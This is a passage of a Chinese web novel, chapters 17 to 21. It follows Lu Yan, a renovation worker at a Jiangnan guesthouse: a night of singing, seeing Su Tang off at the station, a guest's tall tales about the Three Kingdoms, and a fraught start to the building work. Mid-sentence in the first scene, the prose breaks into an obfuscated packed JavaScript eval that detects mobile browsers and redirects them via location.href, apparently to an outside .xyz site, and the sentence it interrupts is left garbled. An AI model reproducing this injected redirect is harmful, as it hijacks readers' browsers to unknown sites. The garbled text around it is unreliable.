陈禹眯了眯眼,盯着杯里的液体,过往片段被一一翻阅,最后,画面定格在一周前、送陆砚回家的晚上、出现的那个女人...... 不管现在是怎么个情况,阿乐都是把人约出来了。 所以他不会拦着、更不会说漏嘴一个字。 只是这次,头疼啊...... 破吉他,OldFashioned上面,还有哪些酒呢...... ...... “给我一瓶酒/再给我一支烟/说走就走/我有的是时间......” 晚上,苏棠唱歌把民宿气氛推到高潮,此情此景,不喝点完全说不过去,于是桑葚酒销量奇高。 是啊。 天上明月高挂,地上有歌有酒有朋友,怎么不算人生得意呢? 一个扫弦,苏棠变了个调,唱到: “命运的安排/遵守自然的逻辑/谁都无法揭谜底/oh远离家乡不胜唏嘘幻化成秋叶/而我却像落叶归根/坠在你心间......” 这思乡曲贴合画面,就连小黑也扯着公鸡嗓大声跟唱—— 场上有了垫底的,谁还放不开? 一曲唱罢又一曲,渴了喝酒,开心了、碰个杯再喝酒,找不到由头了,就为老板娘桑葚酒打九折而喝酒...... 年轻的夜晚是燃烧的、浓郁夜色遮不住的—— 苏棠玩嗨了直接上桌坐着唱: “哦哦/你你你你要跳舞吗/你你你你要跳舞吗......” 张野带头,把椅子顶在头上,围着桌子转圈。 这骨子发癫的劲竟意外的契合今晚的夜,待解释完云南打歌(踏歌)的习俗后,借着酒劲众人纷纷效仿转圈。 沈秀娥看得真切,用摄像头拍下这一幕后,乐得合不拢嘴: “语棠,你也跟他们玩去啊!都是年轻人,有什么好害羞的。” 大厅之外,前台织机旁,一伙人的欢乐衬得另一伙人格外冷清。 或许不用衬托,只要在人群中成了‘另一伙人’,孤单便找上了门。 沈语棠摇了摇头,在旁边默默看着。 老板娘不知道的是,此时每一眼画面,都刺得她想逃回房间,用被子把自己遮得严实。 “你这孩子,怎么跟我一点都不像......” 她没有解释,说不上什么心情。 明明,看着他们开心,自己也挺开心的...... “叮叮叮——” 微小的铃声刺破欢歌笑语的一幕,苏棠扫弦的手猛然停住,拿起手机一看,顿时跳下桌——梅丽华打来电话。 她做手势示意先出去,一直到门口,才慢吞吞接起电话。 对面嚷到: “苏棠,你个懒丫头,是不是你把花顺走了?那是给我的,你为什么要拿走?” 夜色下,田野前,她得意笑着说:“什么你的我的,那花和我有缘,我就带走了!” 此言一出,梅丽华直接气笑了: “有缘是吧,行,那就88元原价卖给你,从你生活费里扣!” “喂!我开玩笑的!” “行了行了,你们老苏家,就一张嘴硬得不像话......我有事跟你说......” ...... 长桌旁的笑闹声撞进耳朵,苏棠捏着手机回来,拉住男人的袖子,声音有点闷: “陆砚,吉他给你,我不想唱了。” “半途而废?你也好意思姓苏?” “快点,你去唱!” 陆砚如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136607|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今哪还弹得好吉他呢? 早忘了。 但是为了不扫小姑娘的兴,按照印象里扫几个和旋听个响还是能打发过去的。 呼出一口酒气,遂说道: “好,那就让一首开心的歌,拯救这个黑暗的夜晚!” 苏棠呲笑一声,递过吉他。 指尖拨动,男人的声音缓缓响起,从一开始的低沉,逐渐激烈昂扬,将气氛续了上来: “我想为你唱一首快乐的歌/一首让你忘了所有悲伤的歌/我们漂泊在那平庸之海/不管变成钻石或者变成尘埃.....” 一首唱罢,几人适时鼓掌。 陆砚冲门口偏了偏下巴,苏棠收到示意,便几步跑到角落,不由分说把女孩也拉过来玩。 那一瞬间沈语棠的手在发抖,指尖蹭过苏棠手掌时,彼此愣了愣,相视一笑—— 她的指腹结着练缂丝磨出的硬茧,苏棠的虎口带着吉他弦勒出的红痕。 “你看,”苏棠把她的手举起来晃了晃,笑得狡黠,“咱们都是手上带伤的人,怕什么?” “苏棠姐姐......我紧张......” “不要紧张,适当撒野有助于身心健康。” 张野作为酒文化推广大使,拿了两个塑料杯递过来,说: “得适当喝酒,才有助于身心健康。你看现在,每个人都一样,这就是酒的魅力。” 沈语棠的脸腾地红了,刚要回头看向自己的母亲,陆砚的歌声突然漫了过来。 他靠在长桌上,吉他弦被拨得又脆又亮,声音从低哑的哼鸣渐次扬起来,像拨开云层的光: “没有什么能够阻挡/你对自由的向往......” “oh~自由的向往!”小黑跟着吼叫。 “天马行空的生涯/你的心了无牵挂......” 苏棠和声道:“了无牵挂!” 眼前像慢电影画面,一帧一帧从沈语棠脑子里划过,众人身上都裹着云,而她自己也快要双脚离地。 当视线和画面中的男人对上时,他笑了笑。 这笑,具有极强的煽动性,让人飘飘然腾起、情不自禁地也跟着笑。 “心中那自由的世界/如此的清澈高远/盛开着永不凋零/蓝莲花——啊!” 陆砚故意唱走了调,给这首歌的结尾划上一个不完满的句号。 可是,真的不完满、唱歌真的要尽善尽美吗? 在场又有谁在意好不好听呢? 只要你不紧张,不紧张到让众人放不开,还真就听个响就够了。 所以,活在他人目光凝视下的朋友,歌唱吧,尽管没那么好听,可是谁又在乎呢? 歌唱吧。 第十八章 认了 昨天没喝多少,对几个男人来说是如此。 至于苏棠,不确定情况。 今天客人们就走,还能接着陪她玩一天—— 和往常一样早早起床洗漱,顺便活动活动大脑: 镇上差不多就那回事,等会可以开车带她去远一点的地方逛逛......要不就去姑苏那片地方吧,带姑苏林黛玉回趟老家,嘿嘿。 直到换好衣服下楼,沈语棠也没有出现。 希望上午的课不要睡过头。 “老板娘,起得早啊!” 灶房里像是准点刷新的白气,瞧着它,就有‘新的一天’的实感。 “瞧你这话说的,陆师傅,难不成我还能在你们后头起来啊?” 沈秀娥带着笑意的声音传过来,随着日子相处下来,人和人之间也愈发有了人情味些。 有了交情,但是该解释的得解释: “丫头还没起呢吧?我们着实没想到,语棠和自家的桑葚酒,居然还有些不习惯......哈哈。” 都说分量足够的酒精可以勾出人的本来面貌,可惜昨天当场达到分量的只有沈语棠一人,这姑娘后半程安安静静的坐一边傻乐呵,而老板娘就没心没肺在一边给她拍照片...... “那孩子是我给保护得太好了,以前没怎么接触过酒......一会我去楼上帮你们换被套哈。” “哎我不是这个意思——” “嗡——” 一阵滚轮声压在清早的宁静上,在陆砚耳里,这就是工作倒计时响铃,于是愈发珍惜今天的休息,准备到点了就去喊苏棠起来。 “噔、噔、噔!” 行李箱磕磕绊绊下着楼,陆砚一眼瞥过去,行李箱顿时一僵。 “苏棠?” “......早啊,陆砚。” ...... 阿乐特地留了道缝,让阳光顺着玻璃窗透进来。 这样,闹钟把自己唤不醒的前提下,就多了道早起的保障。 事实上还不到八点就自然醒了。 睡了四个小时的他,睁开眼第一件事就是看手机有没有消息—— 陈禹:剩的半瓶酒我没顺走,下次过来接着喝(呲牙.jpg)。 再睡五分钟:老板,明天晚上我又可以过来了。 小蓝帽(调酒师):我们的证件好像要申请延续了。 一眼扫过,就是不见顾南乔的消息。 他默默点开对话框,将昨天的信息重温一遍,又点开对方的头像,端详照片上的人。 律师认证......先科律所...... 好像在静安区那边? 以后找个借口路过一趟,不知道,能不能把她的私人微信要到手呢...... 发了条问候信息,阿乐将这个微信设为置顶、铃声开到最大,想接着睡,却怎么也睡不着。 ...... “你说你,要不是我起得早,是不是就打算偷偷走了?弄得跟卷铺盖跑路似的,林黛玉,真有你的......” 车外风景慢悠悠地过,陆砚慢悠悠地数落,苏棠时不时晃着脑袋,每每在男人快要把话说完的时候,为对方把唠叨续上。 “陆砚,说不说都一样的啦。” “哪能一样?等你事后回味过来,指不准得怎么编坏话瞎传呢......还有你这个人真是想一出是一出,来的时候带那么多衣服我还以为你要待个十天半个月......结果两天没到就走了。” 苏棠嘴角扬了扬,正要继续‘解释’时,隔着车内后视镜,冷不丁地发现男人在偷瞄她,见她看过来,又不经意挪开。 镇口的石桥往后退,村落的影子淡了,路面渐渐宽了。 她在心里想,今天天气真好,没有下雨诶。 “陆砚。” “嗯?” “你要是......不开心的话,那我下次还来。” 陆砚暗自发笑,自己怎么会不开心呢? 小丫头过来,自己就连规划带她去哪玩,都能砸吧出愉快,只是苏棠不知道而已。 哎,还是年轻,不懂男人心啊! “前方距离火车站还有三百米,道路拥堵,请减速慢行!” 砰砰—— 机械女音话一出,心脏猛地缩紧。 他再度通过后视镜看过去,苏棠侧头望窗外,如此之近,近得能听到那声诙谐的马叫,桥洞的回响,和......一看到就会被治愈的美女投降。 人真的很奇怪,明明那么近,明明就在眼前,却已经开始怀念起了昨天。 陆砚想了想,伸出手,碰了碰她的手肘: “我没有不开心......但是你过来,我很开心......对我帮助很大。” 如此,如此应该就把话说明白了。 说明白了,分别就不会有遗憾了吧。 苏棠笑了笑,像站在门口又抓到他迟到了那样狡黠地笑: “很开心啊?那你不得给我点回报?” “可以啊。” 车子缓缓停下,火车站到了。 陆砚看着她,在等小姑娘说出所谓的‘回报’。 不想对方径直下了车。 随着车门哐当一声响,心情也跟着低落一分,比刚才跳得更慢,更空。 直到别离前夕,他才后知后觉尝到伤感的滋味。 原来,两人离得近了,是没有感觉的。 对方一离开,寂寞和空虚就会找上门,洞食内心。 他跟着下车,女孩在后座取自己的东西。 很快,行李箱和吉他被陆续拿出来,白色外套下,微风中,陆砚第一次看着发丝飞舞的她,是如此具有魅力。 纵使脸上尚有一丝稚嫩没有褪去,可身段,已经不输任何一个成熟女人。 “我帮你拿吧,车还有二十分钟,慢慢来,不赶的。” “陆砚......吉他有点重,你帮我拿着。” “好。” 她递过琴包,眼睛里漾着笑,这笑是如此有感染力,陆砚也跟着笑。 笑着笑着,又想到了她制作的表情包,那图片,可真真有意思。 “苏棠,来一个美女投降!” 闻言她嘿嘿一笑,双手托着下巴,把脸凑过来: “啊——” ...... “说那三国乱世,我们总习惯把王朝兴衰、事业成败归结为个人的原因,但有一点确实归咎得不冤!据野史传......” 陆砚背着吉他,没有路过大厅,直接去了二楼房间。 房间的床铺的被套都被换了新,就好像昨天的事情都统统被浆洗干净。 轻轻把吉他放在床头,上面似乎还有她指尖的温度。 这大概就是小丫头的恶趣味吧,每次都喜欢冷不丁对着他的心窝捅刀子—— 上次说什么以后可能再也见不到了,结果一杯酒把自己放倒; 这次说什么要回报,结果借吉他太重的拙劣借口,反倒留给了自己。 那颗心又不是石头,怎能不动声色的挨住? 强压下给她发消息,说‘注意安全,到家了发消息’之类的话,慢慢消化情绪。 他时常觉得自己软弱,意志不坚定。 就在刚刚,居然生起了,想跟着回上海的心。 如果说之前的上海,随着杨灵递来那条围巾后,就陡然下起了雪,冰天雪地他孤身一人,无处可去。 那么苏棠来了之后,就突然有一处地方冰雪融化。 尽管在偌大的上海,解冻的地方只有一小片,但其中的温暖却足以让人留恋。 呵呵。 陆砚再度摆了摆头,又一次认清了自己的模样: 仅仅因为一个小姑娘的善意,就想着灰溜溜跑路,他认了; 仅仅因为一次恋爱分手,就绷着神经意志消磨,他认了。 未来,还有什么不堪的、不道德的模样出现在一具名为陆砚的躯体上,他都认了。 他想,作为一个男人,即使这个男人是个软蛋,也必须带着一身软弱、私欲和混蛋的性格,一往无前的走下去。 往前走,不回头! 第十九章 野史 认了归认了,承认劣根性是承认,想知行合一地生活下去,还需要走很长的路。 陆砚狠狠鄙视自己的灵魂之后,意外的,情绪高涨且充满斗志...... 不是吧,难道要觉醒挨骂就能补充活力的系统了? 踩着午间的日光,带着奇思妙想下了楼,楼下的人,也发扬着奇思妙想的口才,讲故事: “他乃乃的,谁知那黄月英是司马懿女装假扮的,就是为了榨干诸葛亮精气!但后来诸葛亮发现了这件事,所以司马懿就逃走了。 之后诸葛亮派人送给司马懿女装就是为了让其回到自己身边,但司马懿拒绝了,事后一切就都说得通了—— 诸葛亮北伐就是为了夺回司马懿。” “我去!你这去四川要被人揍的吧?” “黑子哥,早知道历史这么有意思,我九年义务教育就不跑路了!” 面对两极分化的评论,小黑傲然一笑: “做我们这行的有个规矩,专挑着无关人员讲故事!” 车友车行,行有行规? 陆砚见状,也是加入群聊:“黑子哥,你为什么要入这行啊?” 小黑往旁边挪屁股,拍了拍凳面让陆砚坐。 张野叼着烟往中间凑,烟灰掉在满是花生壳的桌上,冯小军则把手机倒扣在桌角,四个脑袋挤成一圈,烟雾在头顶慢悠悠打了个旋。 主讲人小黑挑眉,指尖转着空酒杯: “啥叫入行?” 三人愣了愣。 张野砸吧嘴,看向冯小军: “这问题......跟问‘一加一为啥等于二’似的。” 冯小军笑而不答,看向陆砚。 好在陆砚处于自我贬损后的亢奋阶段,耐着性子说: “就是进个领域,守它的规矩,混它的圈子呗。” “还是陆哥会说。” 小黑却笑了,把酒杯往桌上一顿: “照这么说,我算被迫入行。而且——”他伸手,挨个点过三人,“你们仨,早就在我这行了。” “...” 故弄玄虚多无趣啊! 难道不知道,现在碎片化、娱乐化的信息时代,谜语人的生态位越来越低了吗? “嘿,又来这套。”张野弹了弹烟灰,“别卖关子,你那行当到底叫啥?” “晃悠生活呗。” 小黑语气轻巧,像在说‘今天天气不错’。 冯小军插了句:“生活……跟三国野史能扯上啥?” 他昨天还听小黑侃了半宿诸葛亮的秘闻,这就是晃悠,是吧? 小黑没接话,先仰头灌了口十几度的黑茶,喉结滚了滚,才把脑袋往中间凑,声音压得低: “若干年后,你咋知道现在的野史成不了正史?咱谁没嚼过别人的舌根?” 他戳了戳桌面: “见着年轻潘西(美女)就瞎猜人感情,听点谣言就到处吆喝,网上那些瞎掰的新闻、胡扯的知识、装模作样的‘公平’——哪样不野?比史书上的野史恶心多了吧?” 陆砚没吭声,摩挲着杯壁。 尽管可以在逻辑上找到对方不下三处漏洞,又有什么必要呢? 为谁而战? 而且不知怎的,也不想驳。 张野叼着烟没动,冯小军停了抠手机壳的手,屋里只剩窗外风吹过枯草的沙沙声。 小黑笑了笑,往椅背上一靠: “再说说‘史’。 刘备诸葛亮多牛?照样成过眼云烟,被人编了数不清的瞎话。 说白了,再厉害的人,也不可能被全记住,少不了被按上些乱七八糟的野史。” 他倾过身,眼里闪着促狭的光: “生活就这德行——没人能真把谁刻在心上。你这辈子做得再对再好,最后也得成小段历史,被人添油加醋瞎编排。” 这话听着态度,他说的时候却带着笑,像在讲个好玩的段子。 陆砚忍不住问:“就算你说得在理,总该有点目的吧?” “目的?”小黑笑得更开,露出两排白牙,“你看啊,生活不就俩字——野、史? 我嘛,就想在这段乱糟糟的野史里,图个乐呵!” 陆砚感觉他说的是屎而非史,看着他眼里的光,竟想起苏棠在着乌篷船‘发癫’的样子—— 忽然对那些猎奇古怪的故事不那么排斥了。 或许,图个乐呵,本就是最实在的活法。 张野听嗨了:“得,俺也一样,搞了半天我们是实打实投缘!” 冯小军跟着笑,刚要伸手去够花生米,小黑又压低了声音: “所以啊,各位你们说,诸葛亮空城是不是为了断司马懿连败?” “...” ...... 吃完午饭后,小黑和楼上游客就与众人告别了。 尽管几人和小黑聊得最多,但自始至终不知道对方的名字、是做什么的。 萍水相逢也有萍水相逢的魅力,小黑就仿佛是生活中的一个漆黑的小点,他们盯着往里看,总会生起一片遐想和欢乐。 人生的野史又能添一笔了,而这,就是相遇的意义吧。 沈语棠站在门阶上,看他们的车拐过路口,直到那点晃动的影子融进田埂的黄,才慢慢转身,回到门口织机旁。 竹拨子握在手里,经丝亮得像银线,她的手指顿了顿,才慢慢压下去。 陆砚拎着外套走出来,准备出门去建材市场定料子,不过花几分钟跟小姑娘聊聊天也不耽误。 “语棠,昨天喝多了,今天起来头晕不?” 她抬眼时,眼里还蒙着层没散开的雾,摇了摇头: “陆哥。” “‘中午好’你刚才已经说过了,可不准再说了啊!” 沈语棠的嘴角漏了笑,但就像衣角的褶皱一样,转眼不见。 她低下头: “早上睡过头了,姆妈在外头喊了好几声才醒......” “昨晚玩得开心不?” 她偏过头,有点不知所措: “......开心。” “现在小黑他们走了,又是什么感觉?” 这次没立刻回答,只是把竹拨子换了只手,掌心贴在微凉的桑木织机上。 风掀动女孩鬓角的碎发,过了好一会儿,才听见小声说: “不知道,说不清楚。” 陆砚望着田埂尽头的云,也在思考。 其实心里该是知道的: 旅客们因着寻找自己的故事奔赴他乡,也会因为接着寻找而离开他乡。 真的会有单纯故地重游的人吗? 不过是因为此地有人们难以割舍的故事罢了。 然而故事哪里是容易发生的,珍贵的故事,更是人生罕有。 或许客人在的时候,不管开玩笑有多开心,喊多少句雨姐,或者小妹妹,此后他们也不会因为沈语棠的缘故,再来一次震泽镇了。 而沈语棠,守在这个地方、见了多少来去? 期间诸如小黑这样热情的住客,每走一个,小姑娘往后对待客人的热、就少了一分吧。 忽然就理解了些,她之所以成为如今的她。 自己又何尝不是? 再过些日子,他也会变成那个转身消失在路口的人...... 可是在回去之前,也能为着做点什么! 于是颇有严厉老师的风范说: “语棠,你准备一下,晚上我要来听课的,这次讲好一点,做个大纲,知道吧?” 竹拨子停在半空,阳光从侧脸滑过,把那点蒙在眼底的雾照得透亮。 她眨了眨眼,点头,声音里终于带了点实感: “知道了,陆哥。” “......好,那我们说好了昂?” “嗯!” 竹拨子再次压下去,经丝的声音脆了些。 陆砚看着她重新动起来的手,转身往外面走—— 或许这样就好,让她忙着琢磨该讲哪段纹样,忙着数该备多少根彩线,就没空想那些走了的人,空了的屋子...... 风穿过田埂,带着泥土的气息,织机的‘咔嗒’声慢慢匀了,仿佛重新跟上了日子的拍子。 第二十章 一个意外的名字 江南连冬天也是极好的,微冷却明媚的天色,多像夏天吹空调、盖棉被、看电影那劲头啊! 再度来到建材市场,再度走过那几家建材档口,这次,那个老板的热情少了几分: “懂行的师傅,海螺牌,C32.5,你上次看过了,咱们家的质量肯定比其他家的好。” 陆砚笑了笑,说:“你都说我懂行了,那中砂、细砂、粗砂有没有最近的检测单?含泥量多少?” 所谓检测单当然只能做个参考,事后想混点泥进去还不简单吗,可偏偏很多商家,连那点品质的可能都不存在,这就很难办了。 再就是价格上面容易有猫腻: 很多老板看似大老粗的直接给你个总价,实则包含运输和拆卸吗? 真要把总价一样样拆开了看,细节处的猫腻才显得出来。 “等等,我去找。” 说罢,那汉子示意陆砚先坐。 其实他没打算那么较真的去查沙子里面的杂质,或者含水率,只要质量有一般标准,价格低一点也不是不能接受的。 打开手机上的备忘录,一道道查看今天下午要做的事宜,此时正好苏棠的消息发了过来。 再睡五分钟:陆砚,我到站了,不管来几次,都会觉得上海的火车站还是太大了(汗颜.jpg)。 想到她背着包、拖着行李箱在偌大的火车站穿行,一脸认真的表情......居然完全没多少同情,只觉得想笑。 然后拨电话打去。 “喂!苏棠!” “哎呀干嘛呀,声音这么大。” 对面懒洋洋的,像睡觉被人吵醒一样。 “我是怕周围环境吵,你听不清。吃午饭了吗?” “还没有,中午睡着了。” 果然! 陆砚咧嘴一笑:“快去吃点东西......你是要回学校吧?我帮你点份外卖,时间应该差不多。” “哇,陆砚,你真是大大的好人,我就爱跟好人玩,以后常联系哈!” 额,这样的好人他还是蛮容易接受的,一点也没有传统意义上‘被夸好人’那样难受。 想来,这就是跨越代沟的友情吧! “冲你这句话,鸡腿有了,喝什么?我帮你点。” “不是吧,我在做梦吗?老板大气!老板,我发达以后一定报答你!” “苏棠你今天的话我可都记着了......不行,我得开个录音,你敢不敢再说一次?” 聊着聊着,已经全然忘了身后的砂石老板。 而砂石老板看着背身直发笑的男人,衷心希望对方能在接下来的交谈中,大气一点。 不,只要一丝就行。 事成之后,他也愿意请对方吃鸡腿喝奶茶。 ...... 还好已经到做事不会大量出汗的季节了,不然一身味总归是不讨喜的。 冯小军踩着梯子敲墙,灰簌簌往下掉,他歪头躲开,听张野在底下喊: “敲重点,听听空鼓声——闷的是实的,脆的就得记下来。” 冯小军‘哎’了一声,手里的小锤又往墙根轻轻敲了敲。 以前他只知道看墙皮裂没裂,后面到老洋房看陆师傅他们敲砖也不以为然,直到此时亲自上手,才听出门道: 同样是空鼓,墙角的脆响带着点‘空荡’,墙中间的脆响却裹着点‘发飘’,张野说这是里头砂浆层厚薄不一样,补的时候得用不同标号的水泥—— 这才是真干活的窍门类。 两人对着电路图测完两个房间的线路,卷尺往地上一扔,都松了口气。 冯小军看了眼手机:“都三点了,歇会儿?” 心急吃不了热豆腐。 虽然老板们最看不得的就是打工人公然休息,但做过事的都知道,分段休息是十分有必要的,既能保持工作积极性,又能提高效率和安全性。 张野往楼下走去:“歇,陆哥不至于歇一会都不让。” 接着,他拧开盖子喝了口茶,“咳,要不,给小苏打个电话?问问到学校没。” 冯小军手顿了顿,摸出手机又放下: “还是张哥你打,我......我不合适。” 他跟苏棠同期实习,却没说过几句整话,一想到要跟她聊天,手心就有点冒汗。 而张师傅,至少年长,正当关怀还是有合理性的。 于是拾掇着,开了免提,在楼梯口拨通电话,两个脑袋凑在一个话筒前。 电话响了两声就通了,苏棠的声音带着点风: “喂?张哥?” “喂,小苏啊,到学校了吗?” 苏棠此时正在校门口等车。 确切来说是装着沪c2**8牌照的白色雪佛兰,苏国喜的车。 手里拿着喝了大半的奶茶,回道: “到啦,这边一切顺利!” 冯小军在旁边憋了半天,突然插嘴道:“上海......上海冷不冷啊?” “跟震泽差不多,就是风大点。呀,我爸车来了——张哥,谢关心啊,下次过来给你们带点心!” “好的好的!” 电话‘咔嗒’挂了,张野坐到藤椅上,翘着二郎腿、咂咂嘴,仿佛嘴里已经尝到了甜。 冯小军没吭声,手指在手机壳上划来划去。 两人在空荡的大厅喝着茶,品着没有苏棠的日子,茶味都淡了。 “小军啊,年纪大点还是有好处的,是吧?” 两个男人相视一笑—— 彼此对于那女孩的心思其实已经心照不宣了,只是宣与不宣都意义不大而已。 百无聊赖歇着,张野眼尖,瞥见前台那边沈语棠对着织机念念有词,胳膊肘碰了碰冯小军: “走,去看看人家。” 冯小军跟着站起来,此时他确实意识到了,年纪大确实有优势。 至少和小姑娘打招呼的时候没那么多负担,哪像自己,喊什么都感觉别扭—— 大家都是同龄人,喊妹妹吧,觉得太油;喊语棠,又关系没到;连名带姓喊沈语棠,听着像找茬的...... 所以,这个跟同龄异性,该怎么交流啊? “沈妹妹,背啥呢?跟念经似的。” 张野大大咧咧走过去,冯小军跟在后面,手脚不知道往哪放。 沈语棠抬头,手里捏着纸条,上面写了密密麻麻的字: “张哥,陆哥说晚上来听我讲缂丝,我在备大纲呢。” 师徒二人对视一眼,都有点讪。 人家正正经经做正事,久留就不礼貌了。 张野挠挠头:“哦哦,那你忙,我们不打扰。”拉着冯小军就往后退。 走远了,才感叹道:“现在的小姑娘,是真优秀。” “张哥,我都不好意思戳穿你。不优秀的姑娘那么多,你记得住几个?之前那么多游客,是一个也没勾搭呀!” 此时冯小军才放得开,把火力和说话的水平发挥出来。 但想要破张野的防,明显还差着大截。 他老神在在晃脑袋:“非也,就我的境界来说,已经可以一眼看穿表面看内搭了,所以一般人,不上去勾搭。” 说罢,眼睛往冯小军下摆瞟,直看得他浑身发毛,鸡皮疙瘩都起来了。 话说张哥多少岁来着?我嚓,好像是二十五六的样子。 怎么自己感官里,像四五十岁了呢?反正比陆哥感觉要大些。 果然,男人还是要多保养,多用洗面奶去油...... 回过神,发现张野正盯着门口的沈语棠看,冯小军心里一‘咯噔’,寒恶顿生,赶紧拽他胳膊: “走走走,再去测两个插座,别偷懒了!” ...... 天空浸了墨,便是江南的夜色。 被沈语棠硬控门口时,廊下的灯光透过木门栅格,在她脸上投下方块影子。 这影子并不能盖住少女的脸庞,皮肤反而在灯下显得发亮。 “这里的,戗、戗金技法,要先把丝织出浅沟......” 她捏着根缂丝小样,指尖在纹路里摩挲,声音轻巧、却执着。 陆砚靠在门框边,听她把‘经线密度’重复第三遍,还什么劳什子专业术语,压根没带解释的...... 半小时里,他从点头应和到眼神发直,最后连打哈欠都得捂着嘴—— 生怕惊扰了这位刚找到讲课状态的沈老师。 确实有听课的感受了。 偏偏实习老师处于信心构建的阶段,提意见怕打消了积极性...... “陆哥,今天,就到这里?” 她抬头,眼里亮得像落了星子,陆砚忙不迭点头。 转身时差点没控制住笑出来...... 洗过澡躺到床上,皂角的清苦混着点桑木香气漫上来。 鼻尖动了动,竟和方才小姑娘发间的味道相似。 她低头翻笔记时,鬓角扫过身旁,就是这股子干净的草木气,带着点晒过太阳的暖。 夜太静,心思容易野,他赶紧闭着眼想正事: 明天动工要先清场,墙角堆的旧木料得归到西边客厅,窗台那几块松动的砖头得标记出来...... 拆墙时该用羊角锤还是撬棍? 搞破坏这事儿,想想倒也痛快。 搞完破坏呢...... 一个多月之后,就可以回上海了。 届时,会和杨老头吃饭,和陈禹阿乐喝酒,还会和...... 还会和...... 苏棠小丫头去同济逛逛。 念头一拐,竟真的想念起上海了,似乎,又有了继续在那里生活的勇气。 不管会不会见到她,不管见到她的时候,会是怎样的光景,此时的思念真真切切的发生了。 他点开和杨灵的对话框,输入框里的‘最近好吗’删了又打,指尖悬在发送键上,像悬在半空的秤砣。 愧疚和那点说不出的自卑缠着,让人不敢轻举妄动。 突然,示音炸响,陈禹的微信信息蓦然闯入眼前: 昨天和顾南乔喝了酒,阿乐好像对她有意思,你什么想法。 陆砚盯着屏幕,瞳孔猛地缩了缩。 窗外的风卷着落叶打在玻璃上,沙沙声里,忽然没了睡意。 手机屏幕的光映在脸上,一半亮,一半暗,像此刻翻涌的心思。 第二十一章 束手束脚 今天是正式开工的日子,天刚蒙蒙亮,陆砚就掀了被子。 眼窝底下黑眼圈很明显,昨晚数不清的事情走向刺痛神经,扎得他翻来覆去到后半夜。 推开房门,沈语棠正抱着衣篓往楼上走,见他出来,脸上泛起晨雾般的笑: “陆哥,早上好。” 这声哥叫得顺口,听着舒心。 “早。” 陆砚扯了扯嘴角,让自己也笑出来。 楼下灶间飘来粥香,沈秀娥把煎蛋往盘子里盛,热情招呼: “陆师傅起这么早?粥刚熬好。” 早餐吃得安静,白粥配着酱瓜,没什么胃口,只扒了两口就放下筷子。 墙上的挂钟指向八点,他想着该去叫张野他们,脚刚沾到楼梯,前厅突然传来推门声。 “是美团来的吧?”沈秀娥擦着手迎上去,语气热络,“里面请,先登个记。” 陆砚的脚定在原地。 门口站着一对情侣,女的穿件亮粉色风衣,口红涂得张扬,掏手机的手戴了只金镯子;男的则皱着眉打量门框,西装裤熨得笔挺。 陆砚傻了眼。 什么情况?还往里面揽客是几个意思? 把话语往肚里压了压,看着沈秀娥把人往里面招呼,那两人从他身旁路过后,才上前,声音压得有些紧: “沈姐,不是说好上批客人走了就不营业了吗?这什么情况?” 沈秀娥脸上的笑淡了些,搓着手往这边凑: “哎呀,美团忘了关,这不是又来两间房嘛。总不能把人往外赶吧?” “那我们施工怎么办?” “陆师傅你看啊,”她像是很为难,声音放软,缓缓开口,“能不能先装一间?现在空着三间呢,咱们先装空的那间,不碍事的。” 一边营业一边装修? 陆砚盯着她眼底那点早有预谋的光,突然明白过来: 他们和客人都被安排在二楼,整个三楼空着,可能对方早就打好了腹稿。 “沈姐......有点不合适了吧。” 不是他斤斤计较,主要是这样做,肯定会打乱工序、增加难度。 就像做大扫除一样,把整间屋子扫一遍再拖一遍肯定是最轻松的,但如果一片区域一片区域做,步骤就多了,步骤多,不仅团队累,还容易出错啊! “陆师傅,客人来了我总不能把人赶走吧......” 命运的馈赠原来早就标好了价码,这几天的热心、干净床单,还有苏棠来那会儿她忙前忙后的情分,原是早早就铺垫好的。 人情筹码在前,一时间确实难以拒绝。 毕竟理论上,客人不投诉、他们协调好时间,是有操作空间的。 这是一道良心题,自己累点,就可以办到,就看愿不愿意了。 “这批人住多久?”他问,指尖在裤缝上蹭了蹭。 “一个星期。” 不愿意也得愿意了,不然得留在这里过年! 陆砚咬了咬牙。 一个星期,最多工序打乱点,累点,总能应付。 “行。”他转身往楼梯走,声音闷闷的,“但说好,一周后,必须全停。” 沈秀娥在身后连声道‘好嘞’。 ...... “总之情况就是这么个情况。” 张野听完当场拍了大腿: “行啊,反正我们每天有吃有喝,更划算了!” 冯小军在旁边配合露出喜悦笑容,仿佛‘做好明天上学准备却突然收到了假期延长’的消息。 陆砚看着两人乐呵的样,心里却沉了沉——这哪是划算,分明是给大家找罪受。 原本可以三间房同步拆旧、统一清运垃圾,现在得一间间磨,搬个废料还得绕着客人走,工序全打乱了,效率至少折半...... 下午两点,先从三楼空房动手。 房间清场、确认电路没问题后,张野活动下手腕,吸一口气,抡着锤子拆旧地板—— “蹦咚,蹦咚!” 木屑混着灰往脸上扑,冯小军拖着碎砖往门外挪,陆砚则蹲在墙角用美工刀、錾子把墙上附着物拆出。 正式动工第一步,把不需要的拆了。 拆除其实严格来说得从上到下,从吊顶到墙面最后才是地板,但一个简陋的双人间,可以忽略这些细节。 “蹦咚,蹦咚!” 才敲了一小块位置,楼梯口传来皮鞋声,穿西裤的男人拍拍门框,眉头拧成疙瘩: “师傅们,哪有这个时候施工的呀?我们休息都休息不好,赶紧停了吧!” 女人倚在他身后,涂着红指甲的手掩着口鼻,眼神在三人灰扑扑的身上溜来溜去。 门口的冯小军顿时傻了眼,往里望——怎么整? 按理来说,客人不归他们负责,可此时,老板娘呢? 下去喊她处理? 陆砚捏着美工刀,无奈点头: “知道了。” 张野也停了手,把锤子往地上一放,灰顺着裤腿往下掉。 三人站在满是碎屑的房间里,像刚从土堆里刨出来的。 此时才两点半,不知是去洗澡换衣服,还是等着。 而陆砚,看着身上的灰,突然意识到自己正在往打灰民工的角色靠拢。 这满身的狼狈,分明是过去的体面被磨掉后的残渣。 他原以为拿起工具就能放下身段,可真当灰头土脸站在这儿,才懂那点排斥早刻在骨子里,只是被‘大无畏’的念头盖着,没露出来罢了。 